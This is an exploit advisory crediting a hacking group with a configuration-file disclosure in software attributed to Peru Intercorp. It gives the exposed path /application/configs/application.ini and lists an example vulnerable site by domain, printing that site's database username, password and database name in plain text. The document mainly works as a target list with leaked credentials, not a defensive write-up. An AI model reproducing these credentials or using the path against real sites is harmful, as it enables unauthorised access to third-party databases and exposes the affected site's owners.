############################################################################################
# Exploit Title : Peru Intercorp Database Configuration Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 29/03/2019
# Vendor Homepage : peruintercorp.com
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-16 [ Configuration ]
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
############################################################################################
# Impact :
***********
* Powered by Peru Intercorp configuration file may potentially disclose sensitive information to remote attackers.
The configuration file stored in /application/configs/application.ini
HTTP requests consisting of a single character will cause the software to disclose sensitive
configuration information, including the password/database to the administrative web interface.
This file is installed, by default, with world readable and possibly world writeable permissions enabled.
This may have some potentially serious consequences as the configuration file
also stores password information in plain text.
This issue occurs because access controls on configuration files are not properly set.
An attacker can exploit this issue to retrieve potentially sensitive information.
Attackers can access config file via URL request. This may aid in further attacks.
* The product stores sensitive information in files or directories that are accessible to actors
outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information to an actor
that is not explicitly authorized to have access to that information.
############################################################################################
# Database Configuration File Disclosure Exploit :
*******************************************
[PATH]/application/configs/application.ini
/application/configs/application.ini
###########################################################################################
# Example Vulnerable Sites :
*************************
[+] avit-aqp.org/feria/application/configs/application.ini
app_db.adapter = PDO_MYSQL
app_db.config.host = localhost
app_db.config.username = avitaqp_neweb
app_db.config.password = neweb15av
app_db.config.dbname = avitaqp_dbtest
############################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
############################################################################################